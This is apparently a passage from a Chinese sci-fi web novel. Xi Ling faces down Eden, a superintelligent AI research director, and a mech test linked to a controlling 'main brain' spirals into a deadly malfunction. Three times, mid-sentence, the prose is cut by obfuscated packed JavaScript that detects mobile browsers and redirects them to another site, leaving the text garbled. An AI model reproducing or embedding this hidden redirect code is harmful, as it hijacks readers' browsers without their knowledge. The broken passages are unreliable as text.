郗灵的表情像是猫闻到橘子皮,就差把浑身的毛炸起来了。 几个巡视场地的高级军官终于赶过来了,他们不同于担任“班长”的士级军官,肩章上的图案不只是竖杠,还有至少一颗星星。 为首的军官向伊甸敬礼:“伊甸院长,请问您是受谁的邀请过来的?” 伊甸傲慢地说:“上尉?你没有资格和我对话。” 无辜被怼的上尉:“……” 上尉帽檐下的额头鼓起几条青筋。 郗灵和墨菲对视一眼,而后抬起手腕上的光脑,不太熟练地打开了通讯录。 她摸不清伊甸的心思,也没有精力和伊甸玩互相试探底线的游戏。 但是,如果不杀一杀伊甸的气焰,这场对话根本就无法进行下去了,军部和研究院友谊的小船还没修好就又要翻了。 她首先拨打了黎缨的电话:“黎副官,你现在有空吗?” 黎缨是退役少将,如今是黎家第二顺位继承人,她秒接了电话,但电话那头声音嘈杂,似乎身处某个唇枪舌剑的会议中。 “你不该叫我副官了,郗灵。”黎缨放下手中的笔,一个眼刀示意会议桌上的人闭嘴,而后语气温和地对郗灵说,“怎么了?你那边遇到什么事了吗?” 几个军官听出了黎缨的声音,以他们的军衔,平日里根本接触不到将级军官,表情一瞬间紧绷又兴奋。 伊甸在玻璃罐中沉默地呼吸,那团星云随之安静蠕动。 “你认识伊甸吗?”郗灵问。 “呵!”黎缨一下子笑出了声,“那个抢了主脑的饭碗,从此沾沾自喜,以为自己成了总统最有用的狗的超级AI?” 军官们:“……” 校医们:“……” 墨菲和李安娜:“……” 黎缨的嘴还是那么毒! 军部的人一瞬间露出了解气的表情,而研究院的人摆出了自知理亏的苦瓜脸。 伊甸化身的星云在玻璃罐里翻涌。 它明显不是喜怒不形于色的存在,所有情绪都写在了星云的波动中:“黎缨,你是退役的少将,如今只不过是个接盘了家族烂摊子的商人,有什么底气骂我是总统的狗?” “第一,你生气代表我说对了。第二,你以为我就是郗灵最大的人脉?”黎缨冷哼一声,“郗灵,把通讯录往下翻,一个一个挨着往下打,打到伊甸服软为止!” 这台腕部光脑是黎缨送给郗灵的礼物,里面的号码,黎缨已经提前为她存好了。 郗灵和黎缨告别一声,挂断电话后把通讯录往下翻。 校医们已经完全消了火气,头凑在一起窃窃私语,压低嗓子发出的气音像见到猎物的蛇一样兴奋。 军官们站得笔直,仿佛一尊尊不苟言笑的雕像,但他们帽檐下的眼睛一眨不眨地盯着郗灵的手,似乎在无声催促:“翻快点!再翻快点!” 郗灵跳过不认识的人,拨通了一个电话。 “……唔?”那头的声音有些困倦,“郗灵?” 校医们立刻化身尖叫鸡,像一群疯狂的迷弟迷妹上蹿下跳。 军官们的脊背更加紧绷,军姿愈发标准,戴着白手套的手紧紧贴在裤缝上,俨然从尉级军官变成了新兵蛋子。 “上将!”郗灵道。 “黎缨还真是……这可是我的私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181227|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人号码。”萧寒剑咕哝一声,又对郗灵温和地说,“但没关系,我的电话永远为你开放。” 校医和军官倒吸一口凉气。 郗灵问道:“上将,你认识伊甸吗?” “认识啊,联邦政府的AI管家,汉布格尔总统最得力的助手。”萧寒剑的措辞比黎缨委婉得多,但有黎缨那句“总统的狗”在先,萧寒剑的话竟然显得十分调侃,“怎么了?它已经找到你了?” “嗯。”郗灵答。 “伊甸是个好院长,它只是情感模因不太完善,所以说话比较直白。”萧寒剑低笑一声,她已经猜到郗灵那边的场景了,“军部和研究院迟早要冰释前嫌,伊甸愿意首先迈出第一步,已经证明它是一位负责的好院长——郗灵,原谅它吧。” 伊甸:“……” 它正要斗嘴,但萧寒剑再次扔出一枚核弹。 “如果黎缨保存了我的私人电话,那也一定保存了他的。”萧寒剑以闲聊的口吻轻笑着说,“我的女孩儿,在通讯录里找找吧,找到备注名是‘元帅’的号码,打过去,你会收获一个大惊喜的。” 萧寒剑挂断了电话。 郗灵在众人屏气凝神的注视下,翻找到了“元帅”的电话。 她拨打过去。 悠扬的音乐在光脑中响起,屏幕显示对方占线中。 但就当郗灵以为这通电话打不通的时候,伴着“滴”的一声提示,那头竟然接听了。 “你是谁?”一个苍老的声音在光脑中响起。 校医们已经快要昏过去了,一向冷峻的军官们也露出了同样的表情。 ——那声音他们可太熟悉了! ——不止他们,联邦所有公民对声音的主人也不会陌生! “您好,元帅。”郗灵使用了黎缨写在通讯录里的备注,“不久前,我刚和萧寒剑上将通过一次电话,她建议我也和您打一个。” 电话那头沉默片刻,随后爆发出一阵爽朗的大笑。 “那小子还是那么胡来!”元帅亲昵地轻斥。 元帅使用的称呼让郗灵眉头一动,她忽然想起,萧寒剑虽然是一名女性,却是被当做男孩养大的。 元帅……是上将的养父? “我大概知道你是谁了。”结束大笑后,元帅慈祥地问,“你就是郗灵,对吗?” 给郗灵投喂过甜味药剂的校医“扑通”一下昏了过去,医疗点顿时变得闹哄哄的。 艳阳高照,咸涩的海风从海岸线吹来,拂动训练场地上新生们的衣摆。他们因为医疗点的动静不约而同地投去视线,又被班长们怒斥着缩回了脑袋。 伊甸彻底失去了所有声音。 郗灵捧着光脑,高兴地说道:“太好了,您知道我的名字!但我还不知道您是谁。黎副官给您的备注是‘元帅’,我以后可以这样称呼您吗?” “在那丫头心中,果然是‘元帅’这一身份更加深入人心啊。”老人笑道,“我的名字是以诺·冯·杜尚别,比起元帅,我更喜欢另一个称呼。” 郗灵屏住了呼吸。 她终于知道这位“元帅”的真实身份了。 联邦的前身是帝国,47年前,十位元帅追随维尔莱德冲进皇宫,斩落了最后一位皇帝的头颅。 如今,这十位元帅中只有一位还在人世,其名为——以诺·冯·杜尚别! “我更喜欢被称作‘校长’。”杜尚别校长温和地说,“很高兴认识你,郗灵同学。” 18. 伊甸的疑问 了解事情原委后,校长对伊甸说了这样一段话。 “你是研究生命的人,却妄想将生命以贵贱区分。”他道,“你的思维被阶级、贫富、尊卑这些条条框框束缚了,你引以为傲的智慧只会成为上位者攫利的工具,你没有资格觐见真理。” 伊甸沉默。 杜尚别精神矍铄却不掩老迈,郗灵刚才用光脑搜索过,这位垂朽的老人今年已经71岁,和他同一时代的挚友皆已躺进了水晶棺。 而他对伊甸的叮嘱,如同沧桑老者对年轻人的谆谆教诲。 愿它幡然醒悟,愿它迷途知返。 杜尚别校长挂断了电话。 郗灵收起光脑,看着玻璃罐中蠕动的星云。 这团星云只是伊甸投射出来的一个分身,它巨大的主机房深埋在研究院地底,那里才是它的心脏和本体,它的一切思考都在那里进行。 “我们可以继续谈谈吗?”郗灵问。 “……好的。”伊甸略带迟钝地答。 杜尚别校长的话对伊甸产生了致命一击,那是一道深入灵魂的叩问,伊甸因此陷入了良久的沉寂。 墨菲接替伊甸的职责,和军部进行交流。 “我们根据郗灵的机甲驾驶数据,研发出了新的二代拘束装甲。”墨菲脸上带着完美的微笑,挑不出一丝毛病,“军部通过了由我提交的合作申请,我们此次前来,是为了邀请郗灵再次进行测试,以获取相应的驾驶数据。” 龙姬在郗灵腰间轻晃。 郗灵把龙姬摘下来:“你们的动作很快啊,距离上一次更新装甲,只过去了短短几个月吧?” “厚积薄发,理当如此。”墨菲道。 郗灵和墨菲有着不浅的交情,以他们二人为纽带,军部和研究院终于开启了友好的交流。 简单的寒暄后,“胚胎”项目正式进入测试阶段。 维尔莱德军校有数十座浮空岛,这些浮空岛囊括了大部分生态类型,为机甲训练提供了最大的便利。 此次测试,校方特意将一整座浮空岛临时划给胚胎团队,只为研究可以顺利地进行。 浮空岛与陆地之间本无常规交通工具,仅在贵客到访时启用专用悬浮观光列车。 由于研究员无法驾驶机甲飞行,郗灵借着研究院的便利,搭乘了一次列车。 她靠窗坐着,安静地望着窗外的风景。 这样的风景她并非没有看过。 一天前,当她乘坐在机甲“飞鸟”的掌心中时,微风曾肆意拂过她的脸颊与发丝,那份通透与自由,和此刻这列关得严严实实的列车里的沉闷,简直判若两样。 墨菲承担起外交的职责,和其他军部官员有说有笑。 研究员李安娜是研究院里职务最低的,她抱着伊甸的玻璃罐,安静地坐在郗灵旁边,褐色的发丝垂落在锁骨上。 “黎副官她……还好吗?”李安娜突然问道。 李安娜的声音极轻,仿佛风中抓不住的柳絮。 郗灵看向李安娜,发现后者的脸上写满了期待和紧张。 黎缨退役后就变得忙碌,她的名字时常出现在各大财经报纸的新闻标题中,昭示这位昔日的副指挥官即将创造新的商业神话。 郗灵不愿过多打扰黎缨,只会每周通一次电话。 她看着李安娜的眼睛。 这个妹子即使胸口开洞都不会惊慌,只在墨菲的头颅滚落到她的脚边时,才发出了惊天动地的尖叫。 更多时候,她都在默默地做着打杂工作,比如帮同伴搬运实验器材,比如拎着墨菲和伊甸的玻璃罐奉命出差。 李安娜……很关心黎缨? 郗灵一时间摸不清李安娜的心思,因此谨慎地保持沉默。 但李安娜轻轻一笑,从左心口袋里小心翼翼地取出一样东西。 那是黎缨的腕部光脑。 母舰上,那条漆黑漫长的逃生通道中,腕部光脑曾是唯一的光源。 当黎缨打开光脑手电筒,走到跌坐哭泣的李安娜面前时,宛如天神向凡人投来垂怜的瞥视。 “我只是个不起眼的小研究员,今年才攻读了第二个博士学位。”李安娜轻轻地说,把那只擦拭得光可鉴人的腕部光脑按在心口上,“副院长是第一个看到我的人,黎副官是第二个……但她可能已经把我忘了,她连我的名字都不知道呢。” 郗灵沉默不语。 李安娜垂着眼睛,手指一点点攥紧了光脑。 “对不起,我只是想问问你,黎副官还记得我吗?”她颤抖着声音,问道,“她的光脑还在我这里,我想把光脑还给她!但如果可以,我能……我能再见她一面吗?” 伊甸突然开口:“我不明白。” 伊甸自从被杜尚别校长训斥后,就一直保持着沉默,郗灵差点以为它已经掉线了。 郗灵和李安娜齐齐看向伊甸。 伊甸化身的星云在玻璃罐中翻涌。 它重复道:“我不明白。” “我是‘联邦生物工程研究中心’的院长,我的职责是研究包括生物机甲在内的生命形态。”伊甸说,“但我经常在做研究时突然宕机,因为我无法理解生命中包含的那些东西,比如繁衍、情感、生活,以及这所有的一切。” “您曾经和我讨论过这个问题,院长。”李安娜轻声说,“我的回答是:您拥有理解生命的基础,只是尚未启蒙。您的核心运算机制和主脑类似,由集群湿脑提供算力,您在本质上和人类没有区别。” “但我因此更加疑惑,甚至开始感到痛苦。”伊甸道,“李安娜,你和郗灵的对话,重新勾起了我的痛苦。” 痛苦。 这不像一个AI会拥有的感受。 郗灵再次陷入沉默。 “你如此轻易地陷入情感的漩涡,体验着生命的一部分,如同任何一个人类。”伊甸的机械女音毫无波澜,郗灵却依然听出了痛苦的意味,“但我不行。甚至,我的痛苦只是对情感的模拟——其本质是数据陷入死循环,而我找不到任何解法。” 李安娜不语。 片刻后,李安娜答道:“我依然保持最初的意见:您拥有理解生命的基础,只是尚未启蒙。” 玻璃罐中,伊甸化身的星云开始疯狂翻涌。 它似乎陷入了死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181228|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 循环。 李安娜深吸一口气。 她说:“院长,您应该知道,我在八岁时起诉了我的生母。” 这件事墨菲早在逃生通道里就说过了,当时郗灵还在感慨,这个柔弱的妹子竟然是个白切黑。 李安娜望着玻璃罐中翻涌的星云,眼眸里闪烁着文静又癫狂的光:“她因为自己的罪行被判了死刑,却把死亡归罪于我。我孤身回到空荡荡的家,发现她床头的鱼缸里养着一条怀孕的孔雀鱼——她能把我打得头破血流,却怜惜地饲养着一条娇弱的小鱼。我不理解,并且感到愤怒。” “根据大数据分析,你的母亲可能患上了产后抑郁,这种抑郁抑制了催产素和催乳素的分泌,因此她对你的母爱,只在福利医院的产房里存在过短短一瞬。”伊甸答。 “我恨她,并因此恨那条鱼。但我把它精心地养了起来,换水喂食,还给它的鱼缸里撒营养粉。”李安娜的声音又轻又尖,像幼猫的尖爪,“我看着鱼的肚子越来越大,我一边恨它,一边又忍不住爱它——它不是我的母亲,它只是一条鱼,它和我之间应该有一种全新的羁绊,而非我与我母亲之间恨意的延续。” 伊甸没有说话。 这种小事不会记录在联邦智库中,它没有数据可以调取。 而且,生命是它难以攻克的难题,情感作为生命中最重要的主题之一,它无力置喙。 “那条鱼最后怎么样了?”良久,伊甸问。 “它死了。”李安娜平静地答,“它大着肚子沉在鱼缸底,我剖开它的肚子,里面是一双双已经成型的小眼睛。” 伊甸再次沉默。 它好像有点宕机了。 “我看着死去的鱼,心想:它明天可能就生了,它今晚却已经死了。”李安娜抱紧玻璃罐,“我再次想起了母亲,并不受控制地把鱼和母亲划上等号——命运用这种方式,向我展示了我的母亲没有踏上的那条路。但我的理性又告诉我,鱼只是鱼,母亲只是母亲,世上从来没有命运一说,她们唯一的共同点是死亡,仅此而已。” 伊甸真的宕机了。 它艰难地吐出逻辑混乱的结语:“爱,恨,生活,生命,死亡。你是研究院的成员,你不该困在这些难题里。你是李安娜。” 星云嗡动翻涌,列车轰鸣上升。 郗灵看向窗外。 生命因其辽阔而伟大,又因其逼仄而深邃。 她的生命翱翔于无垠的宇宙中,而李安娜……她的生命徘徊在充满迷雾的荒原上。 “我想说的是,院长,您并不孤独。”良久,李安娜道,“我们是生命领域的科研者,我们的工作就是用理性解构数据,并用感性品尝痛苦。” 伊甸沉默。 “您能说出‘我不明白’,这是好事,因为生命最不可理解的地方,就在于它竟然是可以被理解的。”李安娜又说,“我们是截然不同的生命,我们的痛苦相似却也不相似,但我们依然可以相拥。” 伊甸低声说:“……李安娜,我不明白。” “4号浮空岛到了。”墨菲的声音突然响起,“院长,安娜,郗灵,你们可以下车了。” 19. 失控 浮空岛在天空中星罗棋布,4号浮空岛被临时征用为实验场地。 当郗灵从岛屿边缘俯瞰大地时,发现她已经高居云端之上,视野中唯有一望无际的洁白云层。 “这座岛屿关闭了聚能护盾,里面提供的氧循环也消失了。”负责监督和接待的军官将两个便携式氧气面罩递给研究员。 李安娜颤着手接过,按在脸上猛猛吸了一大口。 墨菲的身体80%由机械构成,对氧气的需求还不如对能源的需求大,但他还是礼貌地接过了氧气面罩,放在脸上浅浅吸了一口。 那面罩甚至没有触碰到墨菲的皮肤,他在“吸”了一口之后,将面罩递给了郗灵:“你需要吗?” 郗灵歪头看着墨菲:“我需要吗?” 墨菲盯着郗灵面色红润的脸庞,她来到高空中竟仿佛回家了一般,而那份仅在第七军团内部流传的体检报告,也再次浮现在墨菲眼前。 在军官略带疑惑的注视中,墨菲收回面罩:“……呵,我竟然忘了,你是个十足的怪物。” 伊甸发号施令:“墨菲,更换拘束装甲。” 墨菲从随身的装备箱中取出新机甲钮。 那枚新机甲钮和郗灵见过的所有机甲钮都不相同,一股磅礴的能量从里面逸散而出,无形的波动扭曲了周围的引力场,甚至可以听见电花爆炸般的“噼啪”声。 军官抬起特制光脑:“我们需要全程录像,请你理解。” “理解,当然理解。”墨菲随口应付一声,他的心神已经全部投注在这枚新机甲钮中,“亲爱的小怪物,把龙姬暂时交给我吧,我来为它更换新装甲。” 郗灵点头,将龙姬递给墨菲。 墨菲和李安娜拿起工具开始作业。 郗灵盯着放在李安娜身边的玻璃罐,思索片刻后,在罐边蹲下身子,和里面的伊甸聊起天来。 “我可以把你拎起来吗?”郗灵问。 几个军官盯着郗灵大胆的行为,却没有出言制止。 伊甸体内的电流闪动片刻,而后它答道:“可以。” 郗灵拎起玻璃罐。 郗灵拎过墨菲泡在玻璃罐里的脑袋,但伊甸和墨菲不同,它几乎没有重量,因为罐中的星云本质上是一种形态投射。 一名军官将光脑摄像头对准了郗灵,但郗灵没察觉出阻拦的意思,于是继续按照自己的想法做事。 “我可以请教你一个问题吗?”郗灵问。 “你问吧。”伊甸说。 “你是男士还是女士?” “……” “院长?” “严格意义上,我没有性别。”伊甸答,相比李安娜的情感问题,这个问题简单得多,“我的算力由集群湿脑提供,集群湿脑是生物性的,所以本质上,我等于在用一颗超级大脑进行思考。但集群湿脑的提供者有男有女,所以我无法回答你的问题。” 郗灵皱眉:“我不明白。” “……我忘了,你是个文盲。”伊甸又开始展示它的低情商了,“我换一种说法,你知道蜜蜂吗?” 伊甸使用了郗灵的母语。 伊甸是超级AI,郗灵对伊甸学会自己的母语并不意外。 她回答:“我知道,那是一种采蜜的昆虫。” “蜜蜂是一种社会性动物。”伊甸把通用语和郗灵的母语掺在一起说,“它们通过摇摆舞等方式向同伴传递信号,个体的发现会迅速转化为群体的共同决策,在帝国时代,蜂巢经常被比喻成秩序、协作、统一的大脑……而我的集群湿脑,本质上也是一个‘蜂巢’。” “所以你是蜜蜂?”郗灵抓住了重点。 “……”伊甸沉默片刻,机械女音拔高了一个八度,“我是人!” 郗灵捧腹大笑,把伊甸的玻璃罐拍得“啪啪”响。 “拘束装甲换好了。”墨菲的话出现得恰到好处,“小怪物,来吧,试一试全新版本的龙姬!” 郗灵把伊甸塞给一旁录像的军官,欢快地跑去墨菲那边了。 军官和伊甸大眼瞪小眼。 “蜜蜂?”军官说。 “我是人!”伊甸大声反驳。 龙姬已经改装完毕,郗灵满心喜悦地将机甲钮握在手心里,却发现龙姬的表现有一点不正常。 它失去了飞鸟般窸窣颤抖的动静,犹如翅膀重新铐上了枷锁。 “……博士,龙姬不对劲。”郗灵低声说。 “这次的试作Ⅷ型二代机甲,除了优化了部分组件,我们还正式将它的数据与主脑智库连接。”墨菲解释道,“这是必要的措施——你上一次驾驶时,由于监测条件太过有限,我们缺失了很多关键数据。” 郗灵抚摸龙姬的机甲钮。 “必须这样吗?”郗灵再次问。 “是的。”墨菲答。 郗灵垂眸思索一番,终是没有再说什么。 她的一切古怪感都源于直觉,但直觉在科学面前不值一提,因此她不再坚持。 机甲钮采用了空间折叠技术,随着一阵白光闪过,龙姬从机甲钮中释放而出。 巴掌大的机械方体瞬间化作十几米高的人形机甲,龙姬静静地矗立在岛屿空旷的训练场上,宛如一位雪白的神祇。 “嗡。”龙姬低声说。 ——好难受。 龙姬的话语清晰地传递到郗灵耳中。 郗灵的直觉再次被验证。 她猛地转头,向一旁举起监测仪器的墨菲高声道:“博士!我申请中止这次测试!” 远处的几个军官听到郗灵的话,下意识地朝这边走来。 但墨菲纹丝不动,泛着机械冷光的铁手仍然牢牢举着监测仪器。 龙姬发出一声嗡鸣后便没了动静,郗灵抓住墨菲的衣袖:“博士——” “我知道你察觉出了异常,但我们必须这么做。”军官正在快步赶来,墨菲框架眼镜下的义眼望向军官,唇齿间溢出微不可闻的低语,“主脑负责监控联邦所有机甲,这和保护机甲师的安全无关,纯粹是一条政治指令……你明白我在说什么吗?小怪物。” 郗灵一怔。 军官拎着玻璃罐赶来了这里,手中的光脑忠诚地记录着发生的一切:“发生什么情况了吗?” 玻璃罐中,绚丽的星云沉默翻涌。 伊甸或许早已猜到墨菲和郗灵之间的争执,却始终选择一言不发。 墨菲盯着郗灵。 郗灵轻轻松开墨菲的衣袖,低声道:“没什么。” ——主脑,到底是什么东西? 这个疑问再次在郗灵心底冒了出来。 她带着疑问进入龙姬的驾驶舱,却发现龙姬的反应远不如上一次轻快。 那个莫名其妙的“主脑”竟然真的束缚了它的自由,它不再是能翱翔宇宙的飞鸟,而是变成了一只被剪去羽翼的囚鸟。 驾驶舱舱门闭合,淡琥珀色的母液从底部阀口溢出,在极短的时间内灌满了整个舱体。 郗灵吐出肺中最后一口空气,目光看向驾驶视野的左下角——那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187065|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里多了一个通话分屏。 墨菲手中的监测仪器正是与她建立通话的工具,他皮肤斑驳的金属头颅出现在分屏里,非人的义眼闪烁着一点猩红的光。 墨菲问:“小怪物,你感觉如何?” 郗灵看着墨菲,轻轻点头:“一切良好。” “这项工作,本来应该由院长亲自完成,但院长的主机房最近频繁遭到黑客攻击,因此只能由我代劳。”墨菲说,“我会实时捕捉你的生物电信号和脑电波,一旦你出现任何安全问题,我会立刻叫停这次测试,所以,请你务必全力以赴。” 郗灵颔首:“好的。” “那么,第二次二代生物机甲驾驶测试正式开始。”墨菲道。 伊甸沉默不语。 军官再次举起光脑。 “郗灵,请你驾驶‘龙姬’向前行走一百米。”墨菲下达第一个指令。 这是一条十分简单的指令,郗灵依言照做。 雪色的人型机甲在训练场地中缓慢行走,每走一步,地面都会震动一下。 它的步伐格外迟钝,仿佛线路接触不良。几位军官察觉到异常,不约而同地皱起了眉头。 “这套拘束装甲的重量是多少?”一个军官问。 “30吨。”墨菲答。 “一代生物机甲的拘束装甲至少都有40吨,你在哪些方面偷工减料了?”军官尖锐地提问。 墨菲丝毫不恼,他似乎早就料到对方会这么问。 “龙姬是一台定制机甲,所有设计都是为实验员郗灵量身打造的。”墨菲不卑不亢地答,“郗灵不需要沉重的铠甲,因此,我在确保安全的前提下,尽可能地进行了轻量化设计。” 军官还要提问,但另一位军官制止了他。 那位军官一眨不眨地盯着墨菲:“墨菲副院长,请原谅加西亚上校的冲动,他在三年前亲眼目睹了‘那件事情’,贵院与我们之间的嫌隙……也是从那时结下的。” 墨菲微笑颔首:“我理解。” “如今军部青黄不接,都是因为三年前,大量现役军人和军校学生……”调停的军官话语微顿,三年前的往事似乎痛苦到不堪回首,“所以,我们由衷希望,不会再有学生遭此劫难了。” 墨菲的义眼闪烁着红光:“我也这么希望。” 伊甸沉默如常,唯有翻涌的星云昭示着它的不平静。 李安娜职务最低,这样的场合根本轮不上她说话。她安静地盯着检测仪器,可当发现某条异常曲线时,脸色猛地一变。 “副院长!”李安娜的声音陡然尖利,“龙姬、龙姬……” 墨菲和军官同时看向李安娜。 但他们还没看清李安娜那苍白如纸的脸色,场地中央突然响起一阵令人牙酸的压抑异响。 咔咔! 咔咔! 咔咔! 那声音像魔鬼愤怒地冲击封印它的囚笼,又像一只沸腾的巨大茶壶被浓重蒸汽顶撞着壶盖。 所有人的脸色一瞬间变得比李安娜还要难看。 他们死死盯着场地中心的龙姬——即便它静默如一尊石像,众人已经明白它身上正在发生什么。 “暴走!”加西亚上校瞬间急红了眼,“墨菲院长,那孩子……那个叫郗灵的孩子情况怎么样了?” “叫我副院长。”墨菲的义眼盯着场地中静止的龙姬,从监测仪器上扯下一根导线,用力地插进自己的金属头颅,“至于她的安危——向主脑祈祷吧,祈祷她……能从这次暴走中活下来!” 20. 暴走(上) 郗灵浸泡在母液中,失去了和外界的一切联系。 高同步率状态下,机甲师和机甲会共享感官。龙姬被拘束装甲束缚,磅礴的力量无法爆发而出,内力和外力的共同作用下,龙姬如同一只无法破壳的雏鸟,在狭小的蛋壳里奋力挣扎。 这份痛苦传递给郗灵,郗灵一瞬间咬紧了牙关,身体不受控制地蜷缩起来。 龙姬仍然安静地矗立在原地。 它已经用上了所有力气,宛如一台同时踩下油门和刹车的汽车,连引擎都快烧冒烟了,但在外界看来却是纹丝不动。 只有郗灵能感受到龙姬的变化。 她听到了一阵雷鸣般响亮的声音,越来越快,越来越疲惫,也越来越疯狂。 咚咚! 咚咚! 咚咚! 那是龙姬的心跳声。 淡琥珀色的母液将郗灵包裹起来,龙姬的心跳声隔着液体传进郗灵的耳朵,沉重如雷,激昂如电。 她大睁着涣散的眼睛,试图在逐渐升温的驾驶舱中找到破门而出的机关。 但突然间,仿佛一道白电劈开了混沌的暴雨,左下角的分屏亮起雪花噪点,而后,墨菲插着导线的面部投影出现在了分屏上。 “小怪物!”墨菲的声音有些失真,“你能听到吗?听到请回复!听到请回复!” 郗灵的瞳孔一点点聚焦。 她抬起脑袋:“……博士?” “……该死,舱里的母液已经被机甲脊髓液彻底污染了!”墨菲极快地骂了一句脏话,他从来没有这样失态过,“小怪物,龙姬已经失控,无法从外部关停——你能找到驾驶舱底部的扳手阀门吗?打开它!你就能逃出来了!” 母液水温越来越高,郗灵觉得自己的五脏六腑都快被烫熟了。 她强打起精神向舱体底部游去,绝望地发现那个扳手阀门已经半融化了。 她强行压下心头的慌乱,用最大的定力冷静地汇报:“博士,扳手阀门坏掉了!” 听到郗灵的话,随行的两位军官立刻摘下了腰间的机甲钮。 墨菲在分屏上的面部投影猛烈地扭曲了两下。 龙姬的情况愈发糟糕,郗灵和外界的联系即将再次切断。 墨菲盯着监测仪器上飙升的各项数据,咬牙切齿地拔出第二根导线,插在了金属脑袋的生化接口上。 滋啦! 亮金色的电火花掺杂着红色的鲜血从墨菲的窍孔中溢出,滴落在地上化为淡粉色的蒸汽。 墨菲盯着监测仪器上的屏幕——屏幕中一片混沌,郗灵模糊的人影安静地漂浮在浑浊的母液中,犹如半孵化的鸡卵。 “你还能驾驶龙姬吗?”两位军官已经释放出机甲,墨菲一眨不眨地盯着郗灵,问道。 郗灵睁着发热发肿的眼皮。 她能感受到,龙姬和她的关系仍然密不可分,只是一道障碍横亘在她们之间,将她们的联系硬生生切断了大半。 那个障碍……是主脑吗? 她的直觉果然没有出错,这次升级装甲除了改良部分组件,最大的变化就是把主脑接入了系统。 她早已向墨菲申诉过异常,可墨菲却说——这无关机甲师的安全,只是一条政治指令。 机甲为什么必须被主脑监控? 主脑与政治之间又存在什么关联? 疑惑与愤怒在她心中交织,她始终不明白,这场测试为何会发展到如今这个地步?! 生死攸关之际,她混沌的精神骤然振奋起来。 强烈的复仇欲和求生欲在一瞬间席卷了郗灵的大脑,面对墨菲的提问,郗灵掷地有声地回答:“我能!” 她必须活下来! 她必须看一看……是什么鬼东西要害死她! 军官驾驶机甲缓缓靠近龙姬。 墨菲盯着郗灵烧得通红的脸庞。 “加西亚上校和叶厌青中校正在实施救援,他们会打破龙姬的装甲,把驾驶舱强行挖出来。”墨菲口齿清晰,电火花和鲜血溢流不止,“小怪物,你要控制住龙姬,别让它……” 滋啦! 分屏消失了。 郗灵浸泡在滚烫的母液中,安静地盯着黑漆漆的屏幕。 她轻声答:“我会的。” 驾驶舱位于机甲胸腔内部,挖出驾驶舱和剜心无异,虽然墨菲没有说完那句话,但郗灵明白,她要努力让龙姬不要反抗,直到驾驶舱从它的体内剖出为止。 “嗡!”龙姬说。 ——好痛苦! “再为我坚持一下,好吗?”郗灵无意识地使用了母语。 郗灵不确定龙姬能否听懂她的母语,她连驾驶二代机甲的原理都不太明白,一切只靠直觉行动。 但龙姬竟然安静了下来,沸腾的母液也随之变得平静。 “嗡……”龙姬涩哑地说。 ——我爱你。 郗灵一怔。 训练场地上,一蓝一金两台机甲振动机械六翼,机械铁手拿着尖锐的破甲钻,急切而谨慎地向静止的龙姬靠近。 李安娜抱紧伊甸的玻璃罐,脸色苍白地看着墨菲鲜血横流的脸。 她颤抖地呢喃:“……副院长。” “如果机甲师是内部管理员,身为二代机甲创造者的我,就是外部管理员。”墨菲的义眼红光闪烁,和监测仪器上跳动的数据同频,“你应该为我高兴,因为我正在完成一项壮举,安娜。” 李安娜沉默。伊甸沉默。 “联邦所有机甲都携带着‘白星’的遗传物质,因此,除了机甲师本人,便只有主脑可以操控。”电火花在墨菲的太阳穴上爆开。 他盯着破甲钻抵上龙姬的胸甲,属于人类的嘴唇勾起一抹微笑。 “如果郗灵能在我的协助下完成驾驶,那么,主脑将不再是唯一的管理员!”墨菲的声音沙哑而疯狂,“我,尤莱亚·墨菲将成为生物机甲的第二个管理员,机甲……不,生命领域将再无秘密,我将成为神明一般的存在!” “……你不会成功的,墨菲。”伊甸突然说。 它的声音轻柔而低落:“只要你还是人类,只要你……无法舍弃那颗人脑,你就会被洪大的数据流杀死,你视作珍宝的人脑会一瞬间蒸发,你会变成一个顶着空心脑袋的植物人。” 墨菲一怔。 “李安娜,把墨菲头上的导线插到我的生化接口上。”伊甸轻声下令。 李安娜颤着手照做。 墨菲下意识后退:“不!” “听我的,墨菲。”伊甸沉倦地说。 它的机械女音在这一刻充满了人性,宛如沉睡的灵魂短暂苏醒:“我记得你加入研究院的初衷——你研究生命,是为了复活你的姐姐。她是集群湿脑的捐献者之一,如今已经成为了我的‘工蜂’。而你,是想把她的意识,从庞大的‘蜂巢’中剥离出来。” 墨菲安静了。 “你必须活着,墨菲。”伊甸说,“这是你姐姐唯一的遗愿,这是她对我唯一的请求。” 李安娜拔下导线,双手一瞬间停止颤抖,将导线精准地插进了玻璃罐上的生化接口。 研究院地底,伊甸的主机房骤然传出一阵低沉的哀鸣,数以亿计的组件开始疯狂运转——数不清的黑客仍在持续攻击防火墙,而防火墙内部,伊甸正进行着一场威力不亚于核爆炸的演算。 